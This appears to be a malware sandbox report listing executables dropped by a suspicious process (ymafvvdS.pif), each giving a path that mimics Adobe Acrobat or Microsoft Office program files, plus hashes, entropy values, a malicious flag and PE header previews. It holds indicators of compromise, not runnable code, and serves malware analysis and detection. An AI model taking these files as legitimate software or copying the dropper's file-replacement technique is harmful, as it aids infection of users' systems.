SSDEEP:	12288:pWBWiXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:pWBWisqjnhMgeiCl7G0nehbGZpbD
MD5:	7361D092BE1C71E0FCDDA8E213F16E4E
SHA1:	493FFAD11F8D6BE4F6F7FBAF7940BD0352379723
SHA-256:	1952821E87DA14B5F841A5D670C634C39D81D76362A718E8F47754E5F12F0D72
SHA-512:	053B7B0E62CD7630A089D49B1BF2EFA9F7283531F2B4261DE0B06F2DC381F962074C252BCD3B7DDF299E768D1C9EE68B0D21DFBD29B6701CABA96BFD57309307
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................`...... ..... .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.228476281408307
Encrypted:	false
SSDEEP:	24576:yf9AiKGpEoQpkN2C4McuKo0GTNtpyT5RGeQa0hsqjnhMgeiCl7G0nehbGZpbD:y+GtCi27mVTyT+a01Dmg27RnWGj
MD5:	97B4BDE939C167C8E9BA1782FA4A8573
SHA1:	C626D4CC7ECD27599E70EE3B1C2407576ABCDFDA
SHA-256:	C3275A9BE9A9A2EDA79415E33B9A9671BEE4D4815D796A1D4886661EFD359213
SHA-512:	E536C1BC3F6CB6B0C2BB1E85C5589A68FCE50B5486070A6DDE81C599493B4CC73FA8EA76D481F75D144D3F8A37A05BD24C490A534255A046E57E516E25706175
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@....................................h).... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.64965260973092
Encrypted:	false
SSDEEP:	49152:bU198PzqkltcT0gViJNfBZQiOIK5Ns6YZ82PTJeY6Dmg27RnWGj:c2NfHOIK5Ns6qR9cD527BWG
MD5:	69BB1C5C221CB8903CEA9F50923C0546
SHA1:	D3ED446C8F83E8D07A0341288E79937F3AD52BCB
SHA-256:	B2CC2CE9D121753110FC80D501ECAAD054A0FF40B0C9496D042E5C506ADFDB5F
SHA-512:	31E4257D762EBE5872BA9711FDC93E40390EFE3128F3154F2342D3364C76D8A8E6298D6FD756C9D5267A92B0D51B7910E62F2DCC89EE2DB10D325957013069EE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0......./... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1588224
Entropy (8bit):	5.5319057712968815
Encrypted:	false
SSDEEP:	24576:pkcWTUQcyd+sqjnhMgeiCl7G0nehbGZpbD:phKU9Dmg27RnWGj
MD5:	7F9378D9989C0015FAE51C16AEB2FE81
SHA1:	DC92D74021FA51E53F26338EB46C6DB9B8F17B3E
SHA-256:	8EF3F9CF228452CA26941DCB9EDA4354AFC20BAD614AD7F854218071A5D5E215
SHA-512:	8A859C76C6980922B9C5FA7C50E1D05EC1B8F5150A323755FEC2E9615702B46F340084258F048A26C4182719FD6295AB21D386C2BB8529C5F62384987C260F64
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@....................................0..... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...`...@...P..................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1338368
Entropy (8bit):	5.3526400539730075
Encrypted:	false
SSDEEP:	12288:jfY+FUBRXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:jA+qBRsqjnhMgeiCl7G0nehbGZpbD
MD5:	3329ABF2A42097FB6DF3863017E899A3
SHA1:	272B8333D7078BB3BB791515D522EF309B868A83
SHA-256:	C973E9BE19943E150851FCA8296B590C8962B9B1720BA193695257F11C620377
SHA-512:	30EE141689F8A0B38E36C771B7A7E06A47AE9DD8632020734DD79D40A886E1A74CC5FE1933E64B09EE6952E2428E6B4BE8BFF4190A61773BD753E2941171457A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@................................................................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc...p...@...`..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1143296
Entropy (8bit):	5.022669377921799
Encrypted:	false
SSDEEP:	12288:6Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:6sqjnhMgeiCl7G0nehbGZpbD
MD5:	DA0304899809F9490A7F354F897B2B71
SHA1:	28BD59260782118486FCE5FB23B7F76E22C60774
SHA-256:	215FC39818CB3D79D54846BA5EE4C9F6172347D0931BD66BB7D861B98CCE236E
SHA-512:	B1F750D8BB9A8A61C3CB9F24A2C884BB541BB331EFA5FAEBF487808F01A63C2AE98BF69974BAD98065967CB02B6849CA62D2C891E0F79B7DB7DA4F9BC470A258
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................+.............................................................G.............Rich............................PE..d...~^.c.........."..........$......p..........@......................................... ..................................................;.......p.......`......................d4..p............................4..8............0..0............................text...\|........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......0..............@..@.reloc...P.......@...2..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1161728
Entropy (8bit):	5.047144910090478
Encrypted:	false
SSDEEP:	12288:O9Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:CsqjnhMgeiCl7G0nehbGZpbD
MD5:	297C29BEE0F6458B4F0F1F054465E6F6
SHA1:	39F3FDF9F6A3E77470275A66C354EFC1B47359C0
SHA-256:	696F03D238C0E2E91A74C872050ACF7872C3756EA36BAE5EE256333724C6C4B4
SHA-512:	887407A6964F854FFEBD6F32DC2E47C812B2B7F6A2245D6345B0779EE4F821B0DF400A234227D8FC73BDAEF56E9092391877110C8AB9D7E7DFBE1C05EF447C2F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2\.v=..v=..v=...E?.x=..I..\|=..I..u=..I..j=..I..p=..bV..q=..v=...=..I..t=..IS.w=..v=;.w=..I..w=..Richv=..........................PE..d....^.c.........."......<...B.......>.........@.....................................}.... ..................................................i..........P.......,...................`X..T............................X..8............P...............................text....;.......<.................. ..`.rdata..$'...P...(...@..............@..@.data................h..............@....pdata..,............l..............@..@.rsrc...P............r..............@..@.reloc...P.......@...z..............@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.499776728228241
Encrypted:	false
SSDEEP:	49152:3tuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755gDmg27RN:3jEIa4HIEWOc5aD527BWG
MD5:	BF398BE6DBBF926D9F9EB49454C00941
SHA1:	F9CCAFBD12BBB6959BBA7E589840A1B7346D3C5E
SHA-256:	CDBB06E7F989093F3A4656918380538B23B2BDBB5FC1EB5AAE2A9BC86D4DC159
SHA-512:	E7DA18BC4DB758A6B275A18D900861BECDF0A80273E1B811F112ABD6B39DCD9CF05A0C6609E78F4625A4CA54C79E93B29BFBD767CAD35856C91F47AE9719B263
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999367296611338
Encrypted:	true
SSDEEP:	1572864:PQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:YXhwMhe6AABPiQwF6xQ22R
MD5:	D368AB07D22B032923C33B734E9395AD
SHA1:	6419657672DF75A4E7E1709E77FF52020A5D024F
SHA-256:	A0BB062DE8F33F1A0B387CC6EEAA2920D234D0BC7F738D0C1B135FA5FCA04E24
SHA-512:	C65516C064BA13ECFA1218B11487F7B4D89D69BDE91E964A481276B35B88E465535B93AC8284E91A512E054487AF1474105F334174C50E16F1EAB4B6CFB1BE5F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0............ .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1230336
Entropy (8bit):	5.185589331627092
Encrypted:	false
SSDEEP:	12288:2ejVWYUA9Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:zjkY79sqjnhMgeiCl7G0nehbGZpbD
MD5:	379EE1F6674E010E0ABBAE313A693DD7
SHA1:	EDE2B4D2BF08DDBC5DE32F6C2271FF70D235FBC4
SHA-256:	6D41AF299E5DE5328F913EAFC0BF7D26455D0C85466C4F2841B5E6FF720D9975
SHA-512:	6893F6323BEF1841E679D600F268723C507B8240C29A9B8C4668AB8B46580BC7693A09BA3103A961CF9652A7CED04645053C8A2994E4A981AD863FE6A46836A5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................b....6......6......6.....6.....................M..4......4......4........f....4.....Rich...........................PE..L.....{d.................&...`...............@....@.................................DQ.......................................r..,................................... O..p....................P.......O..@............@..4............................text....%.......&.................. ..`.rdata...@...@...B...*..............@..@.data................l..............@....rsrc................p..............@..@.reloc...`.......P...v..............@...................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1384960
Entropy (8bit):	5.377800243696428
Encrypted:	false
SSDEEP:	24576:yxwSJhkrmZspsqjnhMgeiCl7G0nehbGZpbD:yy+krKstDmg27RnWGj
MD5:	7C9CC36D93794997E73896ADF1F405E8
SHA1:	A5C2161F93A865C7E34CAF54A316D68F9D3DE173
SHA-256:	78734CEA04DE9CF2A9B73C023BB701FE786543D17AF5BB44E2A7F707C283F262
SHA-512:	A9B048F94717A5FA4B0D8A12E17E847A85CBDBF54F24E146B4CE55479CBF7A7D86B8806F4BF72ADF84B98E942C586DE4E1107C2392003A700C74FFF918606524
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@.....................................%.... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...P...0...@..................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1649152
Entropy (8bit):	5.632721830733146
Encrypted:	false
SSDEEP:	24576:mHQJLIRgvsnNosqjnhMgeiCl7G0nehbGZpbD:mHQJL34UDmg27RnWGj
MD5:	452F9E26024687323B68D488A5189AB5
SHA1:	698815A683673B799B2AFF5DB592E66F58974D38
SHA-256:	9178B13B2BA74156CD9A4906600B0CC1434E37CF4FCA137ABDEA789EF5F8361F
SHA-512:	9851BBCA52F334C3D27D7FEAB9A165E19364FA03D30980EDB5AFB621C8F96225D90E02C6BDE56A4985DEB46219C8A75C14EAE66F75A63A8A84A0E1999D9E5407
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@.......................................... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...P...@...@..................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.450965560547796
Encrypted:	false
SSDEEP:	49152:wUZujDjDjDjXmXgoz2PsapFQrC7dRpqbeE8U2IzwDt+bdro4O8b8ITDnlggyJ1kn:DWmXL6DEC7dRpKuDQbgfD527BWG
MD5:	D598343630EA50735931051B9824F083
SHA1:	D3BE9338D1FF76033361F81BEE841E3E6F26F067
SHA-256:	8D31790BA9701EFEF03CD66BB7DA4AE52AC6F23C6C9E5D107E736586B179418B
SHA-512:	23591B2665AA0E876BF725AA8BD2B694474541A9A4D83249F19DE9013C1C760ED94BB7D84015A15B027EFF4640F8E47AF317FB4E93716FF7DBEBAC11014F3D65
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R......JR..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.9727802051037235
Encrypted:	false
SSDEEP:	98304:irZ23AbsK6Ro022JjL2WEiVqJZAD527BWG:MJADmmxL2WEoCZAVQBWG
MD5:	A4B979481449C38A93C5EF6531D15301
SHA1:	10D3522D54F69F8E6FBD41CBF9F79DD79BEF2E91
SHA-256:	C43CBFA7F83BFF8AC5DD24E4DE49226AF0EFBB610FA63420BC828BA85B3764B3
SHA-512:	CEFD6C846E7DB3007312437171AB8FB2A3C835AF076927FB1176452E8AEA92391BA5C237232452210B022BB79BA96C7D91E3436C1900AFD1BB5125384E95474B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1......u0.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.204894655627825
Encrypted:	false
SSDEEP:	24576:CfrYY42wd7hlOw9fpkEE64ZsqjnhMgeiCl7G0nehbGZpbD:bz9xrSdDmg27RnWGj
MD5:	8D8914057A818CD2331408696FA677AC
SHA1:	B7136A6B8D963D87A39C25AE85D721C6DB7B42BB
SHA-256:	708E83E24070EDE95672437BED150B687D20D27279CB84DE387003A0BF428363
SHA-512:	6EEA206BB0F19077120A6593EA8465685FC9F6B560FE7E6348CB64C6C668403C412811BFEC6A9DE3E008083ED0F24349071C57FA617064C523BF593714750537
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. .......u.... ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1388544
Entropy (8bit):	5.272917202867949
Encrypted:	false
SSDEEP:	12288:vwkNKiZ+R2GGNUbTF5WXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/T:vzNKUE5WsqjnhMgeiCl7G0nehbGZpbD
MD5:	FFC2624B52EBFD4EBF7D9E3BD615BC70
SHA1:	8B4F093EB3319616699F9032CF4824B6F5214D94
SHA-256:	1C2638068578216040E965B0E9ADD14864AD4AA20720FC38D1B4D941D8A9B04E
SHA-512:	114C0DE4191FEDB96FADCE2DC01F0689CD7BB76B42F356C4BA2ACEAD7B775D0EFC08A08DB4538577119F91C6F4FEF5D032DC6F8098B6D64B664616196CBA8363
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................P......#'.... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.574327140983912
Encrypted:	false
SSDEEP:	98304:xALuzDKnxCp3JKNrPJzruaI6HMaJTtGbbD527BWG:KaGg3cFPIaI6HMaJTtGbbVQBWG
MD5:	77EFB5E3B328455943569E0598103B72
SHA1:	602ED429499E2A4BF500B2E57B09FC4919FDA913
SHA-256:	1C41AEC6D8F692556D948355DBF5244A337DFA13DA6189673359390F987FF1C2
SHA-512:	B74C7D9F38ADEBF7DE4D8F953229AA2FD82E7C67B8EC5C6B0C621BFC697E165EF82EDD117A688A17523FF405A815E346BD8FBB83BE61B8C057178D25C3EB1367
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y.......Y... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	5.3560414739981494
Encrypted:	false
SSDEEP:	24576:5Xr/SVMxW1sqjnhMgeiCl7G0nehbGZpbD:V1xADmg27RnWGj
MD5:	61CEFA63E7EE27F5129C599D281B0BB5
SHA1:	D537DC740C49AA57AD836AA58874F92102572E65
SHA-256:	B5B49C7286DF0E34F5D582AE7552C2E62B6F35F20E3F2DF45A11D6502EE630FC
SHA-512:	F148BD5888676673A7E9EC2FE9981ADB5AC7C596DBA21FC510D81C2A241C629B27A1225727228A1BD1E4D78B9F65E975899DA333B510CC3DF48AA0942DEBC56D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................P................... ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc...p.......`..................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.248635620725209
Encrypted:	false
SSDEEP:	196608:phRrmpGpGdJM7Hbp8JfrCGvqYYuNDmoefAlprtPz25HqaI6HMaJTtGbQOvVQBWG:phRCpGpMJMrbp8JjpNdNlc5dB
MD5:	8366F894666E016B5532B9406EB4A90B
SHA1:	5E4BF99FF01723F88817F48E63C1DD23A334839B
SHA-256:	E1CA49E666C0A6753F9D24D43BC33CD4A13165F670C38456608539FDA344711A
SHA-512:	B07CCE2395ED55A7C1A9DA512FB8C60A4DF158622A3773E7E78767C08C3D3E1A4B79FBDEAB3A28AD65F0C2E0F7F63F432F617BC33690CA0AF06FB0D94D53BA15
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@....................................X/.... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.788991366078409
Encrypted:	false
SSDEEP:	49152:j83pZ3kd0CuEeN0LUmRXzYs65mXDmg27RnWGj:zKuUQY15kD527BWG
MD5:	7B53E1DCF6EB15F86FBA53A37F239978
SHA1:	3F4E27861F04AB48BDE341ADF2BAFBF7235B29DC
SHA-256:	514804FED7FA0BFBF58162875B6EA8C91D4F550AF2ECA9C9E6082C2447EA1FEF
SHA-512:	2AE72DB3ADA492590F0D75DDC272ECE377DECE5249E281799318E88E61D2BD442FB218E88F435CA3FE01D806B7A33E1F92DCAABCF91F85369561857AD849BD0D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!......!... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.670828897455733
Encrypted:	false
SSDEEP:	49152:mErw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGOpndOPcptz6+MG:4A4oGlcR+glEdOPKzgVZJD527BWG
MD5:	8E60DF36F025752E3837B68006F6EE03
SHA1:	8175D381E64FA49C58D1311CE46EB5B6F9984D47
SHA-256:	06A718003D8FB347E2CEC24E1E0EB25A8BB23E686741FE60E9C0664415677DB4
SHA-512:	6EEBDC4DBE0E925F3E8422E0380657A8B6B5BD09E6B3BE0AC75F853B2673CE0E17710A4347B5404303B76A0B967B6446E94F3CB1145B012906C79A78A19145C8
Malicious:	true
Reputation:	unknown
